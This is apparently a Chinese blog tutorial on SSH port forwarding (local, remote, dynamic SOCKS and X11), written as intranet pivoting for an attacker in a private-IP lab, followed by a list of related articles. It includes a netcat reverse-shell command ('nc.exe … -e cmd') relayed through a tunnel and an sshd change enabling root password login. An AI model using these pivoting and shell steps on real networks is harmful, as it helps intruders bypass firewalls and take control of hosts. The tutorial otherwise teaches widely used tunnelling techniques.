在内网中几乎所有的linux服务器和网络设备都支持ssh协议。一般情况下,ssh协议是允许通过防火墙和边界设备的,所以经常被攻击者利用。同时ssh协议的传输过程是加密的,所以我们很难区分合法的ssh会话和攻击者利用其他网络建立的隧道。攻击者使用ssh端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。
一个普通的ssh命令如下:
创建ssh隧道的常用参数如下:
-C:压缩传输,提高传输速度
-f :将ssh传输转入后台执行,不占用当前的shell。
-N:建立静默连接(建立了连接,但是看不到具体的会话)
-g 允许远程主机连接本地用于转发的端口。
-L:本地端口转发
-R:远程端口转发
-D:动态转发(socks代理)
-P:指定ssh端口。
 
1.本地端口转发
测试环境如下:
外部vps可以访问内网web服务器,但是不能访问数据库服务器,内网web服务器可以和数据库服务器互相访问。
测试目标:以web服务器为跳板,访问数据库服务器的3389端口。
修改ssh服务器配置文件
/etc/ssh/sshd_config
– PermitRootLogin yes
– Port 22
– PasswordAuthentication yes
▪ service ssh restart
 
ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
ssh -fCNg -L 1153(vps端口):192.168.190.136(目标主机):3389(目标端口) root@192.168.174.133(跳板机)
ssh -fCNg -L 1153:192.168.190.136:3389 root@192.168.174.133 -p 22
netstat -anptl | grep 1153 查看本地1153端口,可以看到1153端口已经开启侦听。
使用rdesktop连接vps的1153端口,可以发现已经与数据服务器192.168.190.136的3389建立了连接
rdesktop 127.0.0.1:1153
ssh进程的本地端口映射可以将本地(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发则是在本地(客户机)监听一个端口,所有访问这个端口的数据都会通过ssh隧道传输到远端的对应端口。
 
加密传输:
linux1 : 192.168.190.110
linux2: 192.168.190.133
win7: 192.168.190.136
win2008: 192.168.190.132
在linux1和linux之间建立一条ssh隐秘隧道,使win2008将自己的shell通过ssh隧道反弹给win7。
在linux1上执行如下命令:
ssh -fCNg -L 7006:192.168.190.136:333 root@192.168.190.133 -p 22
在win7上使用nc监听本地333端口
nc -lvp 333
在win ser2008上使用nc连接linux1的7006端口
nc.exe 192.168.190.110 7006 -e cmd
回到win7上可以看到已经获得了win2008的shell了。
 
2.远程端口转发
测试环境如下:
左侧为攻击者vps(kali linux);右侧是一个小型内网,包含三台机器;内网没有边界设备,所以外部的vps不能访问内网中的三台机器;内网web服务器可以访问外网vps,数据库服务器和域控服务器均不能访问外网的vps。
测试目标:通过外网vps访问数据库服务器的3389端口。
以web服务器为跳板,将vps的1521端口的流量转发到数据库服务器的3389端口,然后访问vps的1521端口,就可以访问数据库服务器192.168.190.136的3389端口了。
在web服务器上执行如下命令:
ssh -fNg -R <listen port>:<remote ip>:<remote port> user@<SSH server> -p <ssh server port>
ssh -fCNg -R 1521(vps端口):192.168.190.136(目标主机):3389 root@192.168.190.110
ssh -fCNg -R 1521:192.168.190.136:3389 root@192.168.190.110
netstat -anptl | grep 1521 查看远程vps(192.168.190.110)发现已经开启对1521端口的监听
rdesktop 127.0.0.1:1521 访问vps的1521端口,即可与数据库服务器的3389端口建立连接。
总结:本地转发是在本地监听并将远程主机某个端口的数据转发到本地服务器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地的对应端口上。
 
3.动态转发
测试环境如下:
在vps上执行如下命令,建立一个动态的socks代理通道
ssh fCNg -D 7000 root@192.168.174.133
查看本地7000端口的监听是否已经启动,可以看到ssh正在监听7000端口。
然后,在本地打开浏览器并设置网络代理,通过浏览器访问内网域控制器(192.168.190.132)。
 
总结:动态端口映射就是建立一个ssh加密的socks代理通道。任何支持socks4/5协议的程序都可以使用这个加密隧道进行代理访问。
 
4.X协议转发
1.远程登陆 Linux GUI 运行图形化界面工具,类似于VNC和X windows。
2.防火墙限制访问时,可以尝试通过 SSH 的 X 转发
ssh -X root@192.168.199.165 -p 53
 
X协议转发测试
可以使用远程主机的图像化工具
 
 

ssh隧道使用的更多相关文章

  1. SSH隧道应用, 突破网络限制

    文/怡文圣美 这篇文章可以帮你解决下面三个问题: 不能直连服务器, 要先登陆跳板机, 造成客户端工具无法连接服务器. 服务器没有公网IP, 且只允许公司IP访问, 要在家里操作要先远程桌面到工作机再登 ...

  2. ssh隧道(端口转发)

    本地转发: ssh -Nf -L [bind_address:]port:host:hostport sshServer -Nf 后台运行 -L 本地转发 [bind_address] 绑定本地地址, ...

  3. 通过 SSH 隧道方式图形化连接 AIX 服务器

    跳转到主要内容 登录 (或注册) 中文 [userid] IBM ID: 密码: 保持登录. 单击提交则表示您同意developerWorks 的条款和条件. 查看条款和条件. 需要一个 IBM ID ...

  4. ssh隧道技术

    大家都知道SSH是一种安全的传输协议,用在连接服务器上比较多.不过其实除了这个功能,它的隧道转发功能更是吸引人.下面是个人根据自己的需求以及在网上查找的资料配合自己的实际操作所得到的一些心得. SSH ...

  5. 【转】三种不同类型的ssh隧道

    转自:http://blog.creke.net/722.html 大家都知道SSH是一种安全的传输协议,用在连接服务器上比较多.不过其实除了这个功能,它的隧道转发功能更是吸引人.下面是个人根据自己的 ...

  6. SSH隧道技术----端口转发,socket代理

    原文的原始出处不详,本文也是在复制引用了某篇转载,并做了必要的整理与编辑. 本文的受众 如果你遇到了以下问题,那么你应该阅读这篇文章 我听说过这种技术,我对它很感兴趣 我想在家里访问我在公司的机器(写 ...

  7. 公司内网Debian Server上的openvpnserver搭建并通过SSH隧道转发到广域网

    因为戴维营公司在长沙的学员,研发人员和北京的研发人员须要协同研发,故须要让北京的兄弟们增加到长沙办公室的内网,訪问版本号 管理server,于是採用在内网server上搭建一个OpenVPN服务,并把 ...

  8. ssh隧道

    最近有需求使用ssh隧道,顺便研究了下,以下记录一下大概说明 ssh隧道顾名思义在可以通过ssh连接的server之间建立加密隧道,常用于突破网络限制 常用三种端口转发模式:本地端口转发,远程端口转发 ...

  9. 配置SSH隧道访问Ubuntu服务器上的MongoDB

    为了数据安全,在MongoDB的配置文件里,一般会把默认的27017端口port改为自定义的端口号,然后把允许访问的IP设为127.0.0.1(即主机本身).但是这样就会在开发的过程查看数据时带来麻烦 ...

  10. 调试利器:SSH隧道

    欢迎大家前往腾讯云社区,获取更多腾讯海量技术实践干货哦~ 本文作者:ivweb 吴浩麟 原文出处:IVWEB社区 未经同意,禁止转载 在开发微信公众号或小程序的时候,由于微信平台规则的限制,部分接口需 ...

随机推荐

  1. Flask学习-Virtualenv

    http://www.pythondoc.com/ VirtualEnv Virtualenv用于同一台机器上创建多个独立的Python虚拟运行环境,多个Python环境相互独立,互不影响,它能够: ...

  2. 虚拟机中linux系统无法打开原保存的显示器配置解决方法

    刚刚学习Linux,于是在虚拟机上装了一个redhat,有一次关机的时候,很长一段时间都没有关闭,似乎是死机了,于是我就用任务管理器给强制关闭了.然后再次开启系统就出现了这个问题,如下图所示: 当时我 ...

  3. Java面向对象程序设计第9章1-9

    Java面向对象程序设计第9章1-9 1. 线程和进程的联系和区别是什么? 联系: 一个进程可以包括多个线程. 区别: 进程: 进程是一个具有一定独立功能的程序关于某个数据集合的一次运行活动,它是系统 ...

  4. springboot-集成WebSockets广播消息

    一 WebScoketS 简介 RFC 6455 即 webSockets 协议提供了一种标准化的方式去建立全双工,双方面交流的通道在客户端和服务端甚至单一的TCP连接中进行通信: webSocket ...

  5. js/jq判断鼠标滚轮方向

    js判断鼠标滚轮方向: var scrollFunc = function (e) { e = e || window.event; if (e.wheelDelta) { //判断浏览器IE,谷歌滑 ...

  6. ELK学习实验002:Elasticsearch介绍及单机安装

    一 简介 ElasticSearch是一个基于Luncene的搜索服务器.它提供了一个分布式多用户能力全文搜索引擎,基于RESTful web接口,ElsticSearch使用Java开发的,并作为A ...

  7. Java操作Jxl实现导出数据生成Excel表格数据文件

    实现:前台用的框架是Easyui+Bootstrap结合使用,需要引入相应的Js.Css文件.页面:Jsp.拦截请求:Servlet.逻辑处理:ClassBean.数据库:SQLserver. 注意: ...

  8. Java工程师阅读源码的一些见解

    一.为何阅读源码 就是说,通过阅读源码能给你带来什么好处. 学习如何从需求-设计-实现,开阔你的思维,提升你的架构设计能力: 帮助更好地理解原理和架构设计: 帮助更快地定位线上问题BUG 可以根据自己 ...

  9. 浅谈 OpenGL 中相关阻塞问题

    昨天我遇到一个问题,问题如下: 我使用了延迟渲染,我的渲染流程是:Pass1 --> CUDA并行计算 -->Pass2 CUDA并行计算中需要使用Pass1渲染生成的两张纹理,然而我在G ...

  10. Python 线性回归(Linear Regression) 基本理解

    背景 学习 Linear Regression in Python – Real Python,对线性回归理论上的理解做个回顾,文章是前天读完,今天凭着记忆和理解写一遍,再回温更正. 线性回归(Lin ...